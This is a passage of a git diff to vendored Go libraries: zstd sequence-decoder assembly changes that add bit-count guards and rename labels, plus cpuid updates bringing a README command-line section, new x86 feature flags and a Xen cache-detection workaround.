SHLQ CL, R15 - MOVB AH, CL - ADDQ CX, BX - NEGL CX - SHRQ CL, R15 - SHRQ $0x20, AX - TESTQ CX, CX - CMOVQEQ CX, R15 - ADDQ R15, AX - MOVQ AX, 16(R10) + MOVQ R9, AX + MOVQ BX, CX + MOVQ DX, R15 + SHLQ CL, R15 + MOVB AH, CL + SHRQ $0x20, AX + TESTQ CX, CX + JZ sequenceDecs_decode_56_amd64_of_update_zero + ADDQ CX, BX + CMPQ BX, $0x40 + JA sequenceDecs_decode_56_amd64_of_update_zero + CMPQ CX, $0x40 + JAE sequenceDecs_decode_56_amd64_of_update_zero + NEGQ CX + SHRQ CL, R15 + ADDQ R15, AX + +sequenceDecs_decode_56_amd64_of_update_zero: + MOVQ AX, 16(R10) // Update match length - MOVQ R8, AX - MOVQ BX, CX - MOVQ DX, R15 - SHLQ CL, R15 - MOVB AH, CL - ADDQ CX, BX - NEGL CX - SHRQ CL, R15 - SHRQ $0x20, AX - TESTQ CX, CX - CMOVQEQ CX, R15 - ADDQ R15, AX - MOVQ AX, 8(R10) + MOVQ R8, AX + MOVQ BX, CX + MOVQ DX, R15 + SHLQ CL, R15 + MOVB AH, CL + SHRQ $0x20, AX + TESTQ CX, CX + JZ sequenceDecs_decode_56_amd64_ml_update_zero + ADDQ CX, BX + CMPQ BX, $0x40 + JA sequenceDecs_decode_56_amd64_ml_update_zero + CMPQ CX, $0x40 + JAE sequenceDecs_decode_56_amd64_ml_update_zero + NEGQ CX + SHRQ CL, R15 + ADDQ R15, AX + +sequenceDecs_decode_56_amd64_ml_update_zero: + MOVQ AX, 8(R10) // Update literal length - MOVQ DI, AX - MOVQ BX, CX - MOVQ DX, R15 - SHLQ CL, R15 - MOVB AH, CL - ADDQ CX, BX - NEGL CX - SHRQ CL, R15 - SHRQ $0x20, AX - TESTQ CX, CX - CMOVQEQ CX, R15 - ADDQ R15, AX - MOVQ AX, (R10) + MOVQ DI, AX + MOVQ BX, CX + MOVQ DX, R15 + SHLQ CL, R15 + MOVB AH, CL + SHRQ $0x20, AX + TESTQ CX, CX + JZ sequenceDecs_decode_56_amd64_ll_update_zero + ADDQ CX, BX + CMPQ BX, $0x40 + JA sequenceDecs_decode_56_amd64_ll_update_zero + CMPQ CX, $0x40 + JAE sequenceDecs_decode_56_amd64_ll_update_zero + NEGQ CX + SHRQ CL, R15 + ADDQ R15, AX + +sequenceDecs_decode_56_amd64_ll_update_zero: + MOVQ AX, (R10) // Fill bitreader for state updates MOVQ R14, (SP) @@ -477,7 +513,7 @@ sequenceDecs_decode_56_amd64_skip_update: MOVQ R12, R13 MOVQ R11, R12 MOVQ CX, R11 - JMP sequenceDecs_decode_56_amd64_adjust_end + JMP sequenceDecs_decode_56_amd64_after_adjust sequenceDecs_decode_56_amd64_adjust_offsetB_1_or_0: CMPQ (R10), $0x00000000 @@ -489,7 +525,7 @@ sequenceDecs_decode_56_amd64_adjust_offset_maybezero: TESTQ CX, CX JNZ sequenceDecs_decode_56_amd64_adjust_offset_nonzero MOVQ R11, CX - JMP sequenceDecs_decode_56_amd64_adjust_end + JMP sequenceDecs_decode_56_amd64_after_adjust sequenceDecs_decode_56_amd64_adjust_offset_nonzero: CMPQ CX, $0x01 @@ -526,7 +562,7 @@ sequenceDecs_decode_56_amd64_adjust_temp_valid: MOVQ AX, R11 MOVQ AX, CX -sequenceDecs_decode_56_amd64_adjust_end: +sequenceDecs_decode_56_amd64_after_adjust: MOVQ CX, 16(R10) // Check values @@ -757,7 +793,7 @@ sequenceDecs_decode_bmi2_skip_update: MOVQ R11, R12 MOVQ R10, R11 MOVQ CX, R10 - JMP sequenceDecs_decode_bmi2_adjust_end + JMP sequenceDecs_decode_bmi2_after_adjust sequenceDecs_decode_bmi2_adjust_offsetB_1_or_0: CMPQ (R9), $0x00000000 @@ -769,7 +805,7 @@ sequenceDecs_decode_bmi2_adjust_offset_maybezero: TESTQ CX, CX JNZ sequenceDecs_decode_bmi2_adjust_offset_nonzero MOVQ R10, CX - JMP sequenceDecs_decode_bmi2_adjust_end + JMP sequenceDecs_decode_bmi2_after_adjust sequenceDecs_decode_bmi2_adjust_offset_nonzero: CMPQ CX, $0x01 @@ -806,7 +842,7 @@ sequenceDecs_decode_bmi2_adjust_temp_valid: MOVQ R13, R10 MOVQ R13, CX -sequenceDecs_decode_bmi2_adjust_end: +sequenceDecs_decode_bmi2_after_adjust: MOVQ CX, 16(R9) // Check values @@ -1012,7 +1048,7 @@ sequenceDecs_decode_56_bmi2_skip_update: MOVQ R11, R12 MOVQ R10, R11 MOVQ CX, R10 - JMP sequenceDecs_decode_56_bmi2_adjust_end + JMP sequenceDecs_decode_56_bmi2_after_adjust sequenceDecs_decode_56_bmi2_adjust_offsetB_1_or_0: CMPQ (R9), $0x00000000 @@ -1024,7 +1060,7 @@ sequenceDecs_decode_56_bmi2_adjust_offset_maybezero: TESTQ CX, CX JNZ sequenceDecs_decode_56_bmi2_adjust_offset_nonzero MOVQ R10, CX - JMP sequenceDecs_decode_56_bmi2_adjust_end + JMP sequenceDecs_decode_56_bmi2_after_adjust sequenceDecs_decode_56_bmi2_adjust_offset_nonzero: CMPQ CX, $0x01 @@ -1061,7 +1097,7 @@ sequenceDecs_decode_56_bmi2_adjust_temp_valid: MOVQ R13, R10 MOVQ R13, CX -sequenceDecs_decode_56_bmi2_adjust_end: +sequenceDecs_decode_56_bmi2_after_adjust: MOVQ CX, 16(R9) // Check values @@ -1749,6 +1785,10 @@ TEXT ·sequenceDecs_decodeSync_amd64(SB), $64-32 MOVQ 72(AX), DI MOVQ 80(AX), R8 MOVQ 88(AX), R9 + XORQ CX, CX + MOVQ CX, 8(SP) + MOVQ CX, 16(SP) + MOVQ CX, 24(SP) MOVQ 112(AX), R10 MOVQ 128(AX), CX MOVQ CX, 32(SP) @@ -1798,34 +1838,46 @@ sequenceDecs_decodeSync_amd64_fill_byte_by_byte: sequenceDecs_decodeSync_amd64_fill_end: // Update offset - MOVQ R9, AX - MOVQ BX, CX - MOVQ DX, R14 - SHLQ CL, R14 - MOVB AH, CL - ADDQ CX, BX - NEGL CX - SHRQ CL, R14 - SHRQ $0x20, AX - TESTQ CX, CX - CMOVQEQ CX, R14 - ADDQ R14, AX - MOVQ AX, 8(SP) + MOVQ R9, AX + MOVQ BX, CX + MOVQ DX, R14 + SHLQ CL, R14 + MOVB AH, CL + SHRQ $0x20, AX + TESTQ CX, CX + JZ sequenceDecs_decodeSync_amd64_of_update_zero + ADDQ CX, BX + CMPQ BX, $0x40 + JA sequenceDecs_decodeSync_amd64_of_update_zero + CMPQ CX, $0x40 + JAE sequenceDecs_decodeSync_amd64_of_update_zero + NEGQ CX + SHRQ CL, R14 + ADDQ R14, AX + +sequenceDecs_decodeSync_amd64_of_update_zero: + MOVQ AX, 8(SP) // Update match length - MOVQ R8, AX - MOVQ BX, CX - MOVQ DX, R14 - SHLQ CL, R14 - MOVB AH, CL - ADDQ CX, BX - NEGL CX - SHRQ CL, R14 - SHRQ $0x20, AX - TESTQ CX, CX - CMOVQEQ CX, R14 - ADDQ R14, AX - MOVQ AX, 16(SP) + MOVQ R8, AX + MOVQ BX, CX + MOVQ DX, R14 + SHLQ CL, R14 + MOVB AH, CL + SHRQ $0x20, AX + TESTQ CX, CX + JZ sequenceDecs_decodeSync_amd64_ml_update_zero + ADDQ CX, BX + CMPQ BX, $0x40 + JA sequenceDecs_decodeSync_amd64_ml_update_zero + CMPQ CX, $0x40 + JAE sequenceDecs_decodeSync_amd64_ml_update_zero + NEGQ CX + SHRQ CL, R14 + ADDQ R14, AX + +sequenceDecs_decodeSync_amd64_ml_update_zero: + MOVQ AX, 16(SP) // Fill bitreader to have enough for the remaining CMPQ SI, $0x08 @@ -1853,19 +1905,25 @@ sequenceDecs_decodeSync_amd64_fill_2_byte_by_byte: sequenceDecs_decodeSync_amd64_fill_2_end: // Update literal length - MOVQ DI, AX - MOVQ BX, CX - MOVQ DX, R14 - SHLQ CL, R14 - MOVB AH, CL - ADDQ CX, BX - NEGL CX - SHRQ CL, R14 - SHRQ $0x20, AX - TESTQ CX, CX - CMOVQEQ CX, R14 - ADDQ R14, AX - MOVQ AX, 24(SP) + MOVQ DI, AX + MOVQ BX, CX + MOVQ DX, R14 + SHLQ CL, R14 + MOVB AH, CL + SHRQ $0x20, AX + TESTQ CX, CX + JZ sequenceDecs_decodeSync_amd64_ll_update_zero + ADDQ CX, BX + CMPQ BX, $0x40 + JA sequenceDecs_decodeSync_amd64_ll_update_zero + CMPQ CX, $0x40 + JAE sequenceDecs_decodeSync_amd64_ll_update_zero + NEGQ CX + SHRQ CL, R14 + ADDQ R14, AX + +sequenceDecs_decodeSync_amd64_ll_update_zero: + MOVQ AX, 24(SP) // Fill bitreader for state updates MOVQ R13, (SP) @@ -1945,7 +2003,7 @@ sequenceDecs_decodeSync_amd64_skip_update: MOVUPS 144(CX), X0 MOVQ R13, 144(CX) MOVUPS X0, 152(CX) - JMP sequenceDecs_decodeSync_amd64_adjust_end + JMP sequenceDecs_decodeSync_amd64_after_adjust sequenceDecs_decodeSync_amd64_adjust_offsetB_1_or_0: CMPQ 24(SP), $0x00000000 @@ -1957,7 +2015,7 @@ sequenceDecs_decodeSync_amd64_adjust_offset_maybezero: TESTQ R13, R13 JNZ sequenceDecs_decodeSync_amd64_adjust_offset_nonzero MOVQ 144(CX), R13 - JMP sequenceDecs_decodeSync_amd64_adjust_end + JMP sequenceDecs_decodeSync_amd64_after_adjust sequenceDecs_decodeSync_amd64_adjust_offset_nonzero: MOVQ R13, AX @@ -1966,8 +2024,7 @@ sequenceDecs_decodeSync_amd64_adjust_offset_nonzero: CMPQ R13, $0x03 CMOVQEQ R14, AX CMOVQEQ R15, R14 - LEAQ 144(CX), R15 - ADDQ (R15)(AX*8), R14 + ADDQ 144(CX)(AX*8), R14 JNZ sequenceDecs_decodeSync_amd64_adjust_temp_valid MOVQ $0x00000001, R14 @@ -1983,7 +2040,7 @@ sequenceDecs_decodeSync_amd64_adjust_skip: MOVQ R14, 144(CX) MOVQ R14, R13 -sequenceDecs_decodeSync_amd64_adjust_end: +sequenceDecs_decodeSync_amd64_after_adjust: MOVQ R13, 8(SP) // Check values @@ -2280,6 +2337,10 @@ TEXT ·sequenceDecs_decodeSync_bmi2(SB), $64-32 MOVQ 72(CX), SI MOVQ 80(CX), DI MOVQ 88(CX), R8 + XORQ R9, R9 + MOVQ R9, 8(SP) + MOVQ R9, 16(SP) + MOVQ R9, 24(SP) MOVQ 112(CX), R9 MOVQ 128(CX), R10 MOVQ R10, 32(SP) @@ -2452,7 +2513,7 @@ sequenceDecs_decodeSync_bmi2_skip_update: MOVUPS 144(CX), X0 MOVQ R13, 144(CX) MOVUPS X0, 152(CX) - JMP sequenceDecs_decodeSync_bmi2_adjust_end + JMP sequenceDecs_decodeSync_bmi2_after_adjust sequenceDecs_decodeSync_bmi2_adjust_offsetB_1_or_0: CMPQ 24(SP), $0x00000000 @@ -2464,7 +2525,7 @@ sequenceDecs_decodeSync_bmi2_adjust_offset_maybezero: TESTQ R13, R13 JNZ sequenceDecs_decodeSync_bmi2_adjust_offset_nonzero MOVQ 144(CX), R13 - JMP sequenceDecs_decodeSync_bmi2_adjust_end + JMP sequenceDecs_decodeSync_bmi2_after_adjust sequenceDecs_decodeSync_bmi2_adjust_offset_nonzero: MOVQ R13, R12 @@ -2473,8 +2534,7 @@ sequenceDecs_decodeSync_bmi2_adjust_offset_nonzero: CMPQ R13, $0x03 CMOVQEQ R14, R12 CMOVQEQ R15, R14 - LEAQ 144(CX), R15 - ADDQ (R15)(R12*8), R14 + ADDQ 144(CX)(R12*8), R14 JNZ sequenceDecs_decodeSync_bmi2_adjust_temp_valid MOVQ $0x00000001, R14 @@ -2490,7 +2550,7 @@ sequenceDecs_decodeSync_bmi2_adjust_skip: MOVQ R14, 144(CX) MOVQ R14, R13 -sequenceDecs_decodeSync_bmi2_adjust_end: +sequenceDecs_decodeSync_bmi2_after_adjust: MOVQ R13, 8(SP) // Check values @@ -2787,6 +2847,10 @@ TEXT ·sequenceDecs_decodeSync_safe_amd64(SB), $64-32 MOVQ 72(AX), DI MOVQ 80(AX), R8 MOVQ 88(AX), R9 + XORQ CX, CX + MOVQ CX, 8(SP) + MOVQ CX, 16(SP) + MOVQ CX, 24(SP) MOVQ 112(AX), R10 MOVQ 128(AX), CX MOVQ CX, 32(SP) @@ -2836,34 +2900,46 @@ sequenceDecs_decodeSync_safe_amd64_fill_byte_by_byte: sequenceDecs_decodeSync_safe_amd64_fill_end: // Update offset - MOVQ R9, AX - MOVQ BX, CX - MOVQ DX, R14 - SHLQ CL, R14 - MOVB AH, CL - ADDQ CX, BX - NEGL CX - SHRQ CL, R14 - SHRQ $0x20, AX - TESTQ CX, CX - CMOVQEQ CX, R14 - ADDQ R14, AX - MOVQ AX, 8(SP) + MOVQ R9, AX + MOVQ BX, CX + MOVQ DX, R14 + SHLQ CL, R14 + MOVB AH, CL + SHRQ $0x20, AX + TESTQ CX, CX + JZ sequenceDecs_decodeSync_safe_amd64_of_update_zero + ADDQ CX, BX + CMPQ BX, $0x40 + JA sequenceDecs_decodeSync_safe_amd64_of_update_zero + CMPQ CX, $0x40 + JAE sequenceDecs_decodeSync_safe_amd64_of_update_zero + NEGQ CX + SHRQ CL, R14 + ADDQ R14, AX + +sequenceDecs_decodeSync_safe_amd64_of_update_zero: + MOVQ AX, 8(SP) // Update match length - MOVQ R8, AX - MOVQ BX, CX - MOVQ DX, R14 - SHLQ CL, R14 - MOVB AH, CL - ADDQ CX, BX - NEGL CX - SHRQ CL, R14 - SHRQ $0x20, AX - TESTQ CX, CX - CMOVQEQ CX, R14 - ADDQ R14, AX - MOVQ AX, 16(SP) + MOVQ R8, AX + MOVQ BX, CX + MOVQ DX, R14 + SHLQ CL, R14 + MOVB AH, CL + SHRQ $0x20, AX + TESTQ CX, CX + JZ sequenceDecs_decodeSync_safe_amd64_ml_update_zero + ADDQ CX, BX + CMPQ BX, $0x40 + JA sequenceDecs_decodeSync_safe_amd64_ml_update_zero + CMPQ CX, $0x40 + JAE sequenceDecs_decodeSync_safe_amd64_ml_update_zero + NEGQ CX + SHRQ CL, R14 + ADDQ R14, AX + +sequenceDecs_decodeSync_safe_amd64_ml_update_zero: + MOVQ AX, 16(SP) // Fill bitreader to have enough for the remaining CMPQ SI, $0x08 @@ -2891,19 +2967,25 @@ sequenceDecs_decodeSync_safe_amd64_fill_2_byte_by_byte: sequenceDecs_decodeSync_safe_amd64_fill_2_end: // Update literal length - MOVQ DI, AX - MOVQ BX, CX - MOVQ DX, R14 - SHLQ CL, R14 - MOVB AH, CL - ADDQ CX, BX - NEGL CX - SHRQ CL, R14 - SHRQ $0x20, AX - TESTQ CX, CX - CMOVQEQ CX, R14 - ADDQ R14, AX - MOVQ AX, 24(SP) + MOVQ DI, AX + MOVQ BX, CX + MOVQ DX, R14 + SHLQ CL, R14 + MOVB AH, CL + SHRQ $0x20, AX + TESTQ CX, CX + JZ sequenceDecs_decodeSync_safe_amd64_ll_update_zero + ADDQ CX, BX + CMPQ BX, $0x40 + JA sequenceDecs_decodeSync_safe_amd64_ll_update_zero + CMPQ CX, $0x40 + JAE sequenceDecs_decodeSync_safe_amd64_ll_update_zero + NEGQ CX + SHRQ CL, R14 + ADDQ R14, AX + +sequenceDecs_decodeSync_safe_amd64_ll_update_zero: + MOVQ AX, 24(SP) // Fill bitreader for state updates MOVQ R13, (SP) @@ -2983,7 +3065,7 @@ sequenceDecs_decodeSync_safe_amd64_skip_update: MOVUPS 144(CX), X0 MOVQ R13, 144(CX) MOVUPS X0, 152(CX) - JMP sequenceDecs_decodeSync_safe_amd64_adjust_end + JMP sequenceDecs_decodeSync_safe_amd64_after_adjust sequenceDecs_decodeSync_safe_amd64_adjust_offsetB_1_or_0: CMPQ 24(SP), $0x00000000 @@ -2995,7 +3077,7 @@ sequenceDecs_decodeSync_safe_amd64_adjust_offset_maybezero: TESTQ R13, R13 JNZ sequenceDecs_decodeSync_safe_amd64_adjust_offset_nonzero MOVQ 144(CX), R13 - JMP sequenceDecs_decodeSync_safe_amd64_adjust_end + JMP sequenceDecs_decodeSync_safe_amd64_after_adjust sequenceDecs_decodeSync_safe_amd64_adjust_offset_nonzero: MOVQ R13, AX @@ -3004,8 +3086,7 @@ sequenceDecs_decodeSync_safe_amd64_adjust_offset_nonzero: CMPQ R13, $0x03 CMOVQEQ R14, AX CMOVQEQ R15, R14 - LEAQ 144(CX), R15 - ADDQ (R15)(AX*8), R14 + ADDQ 144(CX)(AX*8), R14 JNZ sequenceDecs_decodeSync_safe_amd64_adjust_temp_valid MOVQ $0x00000001, R14 @@ -3021,7 +3102,7 @@ sequenceDecs_decodeSync_safe_amd64_adjust_skip: MOVQ R14, 144(CX) MOVQ R14, R13 -sequenceDecs_decodeSync_safe_amd64_adjust_end: +sequenceDecs_decodeSync_safe_amd64_after_adjust: MOVQ R13, 8(SP) // Check values @@ -3420,6 +3501,10 @@ TEXT ·sequenceDecs_decodeSync_safe_bmi2(SB), $64-32 MOVQ 72(CX), SI MOVQ 80(CX), DI MOVQ 88(CX), R8 + XORQ R9, R9 + MOVQ R9, 8(SP) + MOVQ R9, 16(SP) + MOVQ R9, 24(SP) MOVQ 112(CX), R9 MOVQ 128(CX), R10 MOVQ R10, 32(SP) @@ -3592,7 +3677,7 @@ sequenceDecs_decodeSync_safe_bmi2_skip_update: MOVUPS 144(CX), X0 MOVQ R13, 144(CX) MOVUPS X0, 152(CX) - JMP sequenceDecs_decodeSync_safe_bmi2_adjust_end + JMP sequenceDecs_decodeSync_safe_bmi2_after_adjust sequenceDecs_decodeSync_safe_bmi2_adjust_offsetB_1_or_0: CMPQ 24(SP), $0x00000000 @@ -3604,7 +3689,7 @@ sequenceDecs_decodeSync_safe_bmi2_adjust_offset_maybezero: TESTQ R13, R13 JNZ sequenceDecs_decodeSync_safe_bmi2_adjust_offset_nonzero MOVQ 144(CX), R13 - JMP sequenceDecs_decodeSync_safe_bmi2_adjust_end + JMP sequenceDecs_decodeSync_safe_bmi2_after_adjust sequenceDecs_decodeSync_safe_bmi2_adjust_offset_nonzero: MOVQ R13, R12 @@ -3613,8 +3698,7 @@ sequenceDecs_decodeSync_safe_bmi2_adjust_offset_nonzero: CMPQ R13, $0x03 CMOVQEQ R14, R12 CMOVQEQ R15, R14 - LEAQ 144(CX), R15 - ADDQ (R15)(R12*8), R14 + ADDQ 144(CX)(R12*8), R14 JNZ sequenceDecs_decodeSync_safe_bmi2_adjust_temp_valid MOVQ $0x00000001, R14 @@ -3630,7 +3714,7 @@ sequenceDecs_decodeSync_safe_bmi2_adjust_skip: MOVQ R14, 144(CX) MOVQ R14, R13 -sequenceDecs_decodeSync_safe_bmi2_adjust_end: +sequenceDecs_decodeSync_safe_bmi2_after_adjust: MOVQ R13, 8(SP) // Check values diff --git a/vendor/github.com/klauspost/cpuid/v2/README.md b/vendor/github.com/klauspost/cpuid/v2/README.md index bc2f98f00..ea7df3dd8 100644 --- a/vendor/github.com/klauspost/cpuid/v2/README.md +++ b/vendor/github.com/klauspost/cpuid/v2/README.md @@ -132,6 +132,127 @@ func main() { } ``` +## commandline + +Download as binary from: https://github.com/klauspost/cpuid/releases + +Install from source: + +`go install github.com/klauspost/cpuid/v2/cmd/cpuid@latest` + +### Example + +``` +λ cpuid +Name: AMD Ryzen 9 3950X 16-Core Processor +Vendor String: AuthenticAMD +Vendor ID: AMD +PhysicalCores: 16 +Threads Per Core: 2 +Logical Cores: 32 +CPU Family 23 Model: 113 +Features: ADX,AESNI,AVX,AVX2,BMI1,BMI2,CLMUL,CLZERO,CMOV,CMPXCHG8,CPBOOST,CX16,F16C,FMA3,FXSR,FXSROPT,HTT,HYPERVISOR,LAHF,LZCNT,MCAOVERFLOW,MMX,MMXEXT,MOVBE,NX,OSXSAVE,POPCNT,RDRAND,RDSEED,RDTSCP,SCE,SHA,SSE,SSE2,SSE3,SSE4,SSE42,SSE4A,SSSE3,SUCCOR,X87,XSAVE +Microarchitecture level: 3 +Cacheline bytes: 64 +L1 Instruction Cache: 32768 bytes +L1 Data Cache: 32768 bytes +L2 Cache: 524288 bytes +L3 Cache: 16777216 bytes + +``` +### JSON Output: + +``` +λ cpuid --json +{ + "BrandName": "AMD Ryzen 9 3950X 16-Core Processor", + "VendorID": 2, + "VendorString": "AuthenticAMD", + "PhysicalCores": 16, + "ThreadsPerCore": 2, + "LogicalCores": 32, + "Family": 23, + "Model": 113, + "CacheLine": 64, + "Hz": 0, + "BoostFreq": 0, + "Cache": { + "L1I": 32768, + "L1D": 32768, + "L2": 524288, + "L3": 16777216 + }, + "SGX": { + "Available": false, + "LaunchControl": false, + "SGX1Supported": false, + "SGX2Supported": false, + "MaxEnclaveSizeNot64": 0, + "MaxEnclaveSize64": 0, + "EPCSections": null + }, + "Features": [ + "ADX", + "AESNI", + "AVX", + "AVX2", + "BMI1", + "BMI2", + "CLMUL", + "CLZERO", + "CMOV", + "CMPXCHG8", + "CPBOOST", + "CX16", + "F16C", + "FMA3", + "FXSR", + "FXSROPT", + "HTT", + "HYPERVISOR", + "LAHF", + "LZCNT", + "MCAOVERFLOW", + "MMX", + "MMXEXT", + "MOVBE", + "NX", + "OSXSAVE", + "POPCNT", + "RDRAND", + "RDSEED", + "RDTSCP", + "SCE", + "SHA", + "SSE", + "SSE2", + "SSE3", + "SSE4", + "SSE42", + "SSE4A", + "SSSE3", + "SUCCOR", + "X87", + "XSAVE" + ], + "X64Level": 3 +} +``` + +### Check CPU microarch level + +``` +λ cpuid --check-level=3 +2022/03/18 17:04:40 AMD Ryzen 9 3950X 16-Core Processor +2022/03/18 17:04:40 Microarchitecture level 3 is supported. Max level is 3. +Exit Code 0 + +λ cpuid --check-level=4 +2022/03/18 17:06:18 AMD Ryzen 9 3950X 16-Core Processor +2022/03/18 17:06:18 Microarchitecture level 4 not supported. Max level is 3. +Exit Code 1 +``` + # license This code is published under an MIT license. See LICENSE file for more information. diff --git a/vendor/github.com/klauspost/cpuid/v2/cpuid.go b/vendor/github.com/klauspost/cpuid/v2/cpuid.go index 3d543ce91..701f2385b 100644 --- a/vendor/github.com/klauspost/cpuid/v2/cpuid.go +++ b/vendor/github.com/klauspost/cpuid/v2/cpuid.go @@ -14,6 +14,7 @@ import ( "flag" "fmt" "math" + "math/bits" "os" "runtime" "strings" @@ -92,7 +93,8 @@ const ( AVX512VNNI // AVX-512 Vector Neural Network Instructions AVX512VP2INTERSECT // AVX-512 Intersect for D/Q AVX512VPOPCNTDQ // AVX-512 Vector Population Count Doubleword and Quadword - AVXSLOW // Indicates the CPU performs 2 128 bit operations instead of one. + AVXSLOW // Indicates the CPU performs 2 128 bit operations instead of one + AVXVNNI // AVX (VEX encoded) VNNI neural network instructions BMI1 // Bit Manipulation Instruction Set 1 BMI2 // Bit Manipulation Instruction Set 2 CETIBT // Intel CET Indirect Branch Tracking @@ -101,6 +103,7 @@ const ( CLMUL // Carry-less Multiplication CLZERO // CLZERO instruction supported CMOV // i686 CMOV + CMPSB_SCADBS_SHORT // Fast short CMPSB and SCASB CMPXCHG8 // CMPXCHG8 instruction CPBOOST // Core Performance Boost CX16 // CMPXCHG16B Instruction @@ -111,8 +114,9 @@ const ( FMA4 // Bulldozer FMA4 functions FXSR // FXSAVE, FXRESTOR instructions, CR4 bit 9 FXSROPT // FXSAVE/FXRSTOR optimizations - GFNI // Galois Field New Instructions + GFNI // Galois Field New Instructions. May require other features (AVX, AVX512VL,AVX512F) based on usage. HLE // Hardware Lock Elision + HRESET // If set CPU supports history reset and the IA32_HRESET_ENABLE MSR HTT // Hyperthreading (enabled) HWA // Hardware assert supported. Indicates support for MSRC001_10 HYPERVISOR // This bit has been reserved by Intel & AMD for use by hypervisors @@ -126,9 +130,12 @@ const ( IBSOPSAM // Instruction Based Sampling Feature (AMD) IBSRDWROPCNT // Instruction Based Sampling Feature (AMD) IBSRIPINVALIDCHK // Instruction Based Sampling Feature (AMD) + IBS_PREVENTHOST // Disallowing IBS use by the host supported INT_WBINVD // WBINVD/WBNOINVD are interruptible. INVLPGB // NVLPGB and TLBSYNC instruction supported LAHF // LAHF/SAHF in long mode + LAM // If set, CPU supports Linear Address Masking + LBRVIRT // LBR virtualization LZCNT // LZCNT instruction MCAOVERFLOW // MCA overflow recovery support. MCOMMIT // MCOMMIT instruction supported @@ -137,10 +144,14 @@ const ( MOVBE // MOVBE instruction (big-endian) MOVDIR64B // Move 64 Bytes as Direct Store MOVDIRI // Move Doubleword as Direct Store + MOVSB_ZL // Fast Zero-Length MOVSB MPX // Intel MPX (Memory Protection Extensions) MSRIRC // Instruction Retired Counter MSR available + MSR_PAGEFLUSH // Page Flush MSR available + NRIPS // Indicates support for NRIP save on VMEXIT NX // NX (No-Execute) bit OSXSAVE // XSAVE enabled by OS + PCONFIG // PCONFIG for Intel Multi-Key Total Memory Encryption POPCNT // POPCNT instruction RDPRU // RDPRU instruction supported RDRAND // RDRAND instruction is available @@ -150,9 +161,18 @@ const ( RTM_ALWAYS_ABORT // Indicates that the loaded microcode is forcing RTM abort. SCE // SYSENTER and SYSEXIT instructions SERIALIZE // Serialize Instruction Execution + SEV // AMD Secure Encrypted Virtualization supported + SEV_64BIT // AMD SEV guest execution only allowed from a 64-bit host + SEV_ALTERNATIVE // AMD SEV Alternate Injection supported + SEV_DEBUGSWAP // Full debug state swap supported for SEV-ES guests + SEV_ES // AMD SEV Encrypted State supported + SEV_RESTRICTED // AMD SEV Restricted Injection supported + SEV_SNP // AMD SEV Secure Nested Paging supported SGX // Software Guard Extensions SGXLC // Software Guard Extensions Launch Control SHA // Intel SHA Extensions + SME // AMD Secure Memory Encryption supported + SME_COHERENT // AMD Hardware cache coherency across encryption domains enforced SSE // SSE functions SSE2 // P4 SSE functions SSE3 // Prescott SSE3 functions @@ -161,17 +181,35 @@ const ( SSE4A // AMD Barcelona microarchitecture SSE4a instructions SSSE3 // Conroe SSSE3 functions STIBP // Single Thread Indirect Branch Predictors + STOSB_SHORT // Fast short STOSB SUCCOR // Software uncorrectable error containment and recovery capability. + SVM // AMD Secure Virtual Machine + SVMDA // Indicates support for the SVM decode assists. + SVMFBASID // SVM, Indicates that TLB flush events, including CR3 writes and CR4.PGE toggles, flush only the current ASID's TLB entries. Also indicates support for the extended VMCBTLB_Control + SVML // AMD SVM lock. Indicates support for SVM-Lock. + SVMNP // AMD SVM nested paging + SVMPF // SVM pause intercept filter. Indicates support for the pause intercept filter + SVMPFT // SVM PAUSE filter threshold. Indicates support for the PAUSE filter cycle count threshold TBM // AMD Trailing Bit Manipulation + TME // Intel Total Memory Encryption. The following MSRs are supported: IA32_TME_CAPABILITY, IA32_TME_ACTIVATE, IA32_TME_EXCLUDE_MASK, and IA32_TME_EXCLUDE_BASE. + TSCRATEMSR // MSR based TSC rate control. Indicates support for MSR TSC ratio MSRC000_0104 TSXLDTRK // Intel TSX Suspend Load Address Tracking - VAES // Vector AES + VAES // Vector AES. AVX(512) versions requires additional checks. + VMCBCLEAN // VMCB clean bits. Indicates support for VMCB clean bits. + VMPL // AMD VM Permission Levels supported + VMSA_REGPROT // AMD VMSA Register Protection supported VMX // Virtual Machine Extensions - VPCLMULQDQ // Carry-Less Multiplication Quadword + VPCLMULQDQ // Carry-Less Multiplication Quadword. Requires AVX for 3 register versions. + VTE // AMD Virtual Transparent Encryption supported WAITPKG // TPAUSE, UMONITOR, UMWAIT WBNOINVD // Write Back and Do Not Invalidate Cache X87 // FPU + XGETBV1 // Supports XGETBV with ECX = 1 XOP // Bulldozer XOP functions XSAVE // XSAVE, XRESTOR, XSETBV, XGETBV + XSAVEC // Supports XSAVEC and the compacted form of XRSTOR. + XSAVEOPT // XSAVEOPT available + XSAVES // Supports XSAVES/XRSTORS and IA32_XSS // ARM features: AESARM // AES instructions @@ -198,7 +236,6 @@ const ( SM3 // SM3 instructions SM4 // SM4 instructions SVE // Scalable Vector Extension - // Keep it last. It automatically defines the size of []flagSet lastID @@ -369,8 +406,9 @@ func (c CPUInfo) IsVendor(v Vendor) bool { return c.VendorID == v } +// FeatureSet returns all available features as strings. func (c CPUInfo) FeatureSet() []string { - s := make([]string, 0) + s := make([]string, 0, c.featureSet.nEnabled()) s = append(s, c.featureSet.Strings()...) return s } @@ -543,6 +581,14 @@ func (s flagSet) hasSet(other flagSet) bool { return true } +// nEnabled will return the number of enabled flags. +func (s flagSet) nEnabled() (n int) { + for _, v := range s[:] { + n += bits.OnesCount64(uint64(v)) + } + return n +} + func flagSetWith(feat ...FeatureID) flagSet { var res flagSet for _, f := range feat { @@ -814,6 +860,11 @@ func (c *CPUInfo) cacheSize() { if maxExtendedFunction() < 0x8000001D { return } + + // Xen Hypervisor is buggy and returns the same entry no matter ECX value. + // Hack: When we encounter the same entry 100 times we break. + nSame := 0 + var last uint32 for i := uint32(0); i < math.MaxUint32; i++ { eax, ebx, ecx, _ := cpuidex(0x8000001D, i) @@ -829,6 +880,16 @@ func (c *CPUInfo) cacheSize() { return } + // Check for the same value repeated. + comb := eax ^ ebx ^ ecx + if comb == last { + nSame++ + if nSame == 100 { + return + } + } + last = comb + switch level { case 1: switch typ { @@ -976,7 +1037,6 @@ func support() flagSet { // Check AVX2, AVX2 requires OS support, but BMI1/2 don't. if mfi >= 7 { _, ebx, ecx, edx := cpuidex(7, 0) - eax1, _, _, _ := cpuidex(7, 1) if fs.inSet(AVX) && (ebx&0x00000020) != 0 { fs.set(AVX2) } @@ -993,22 +1053,38 @@ func support() flagSet { fs.setIf(ebx&(1<<18) != 0, RDSEED) fs.setIf(ebx&(1<<19) != 0, ADX) fs.setIf(ebx&(1<<29) != 0, SHA) + // 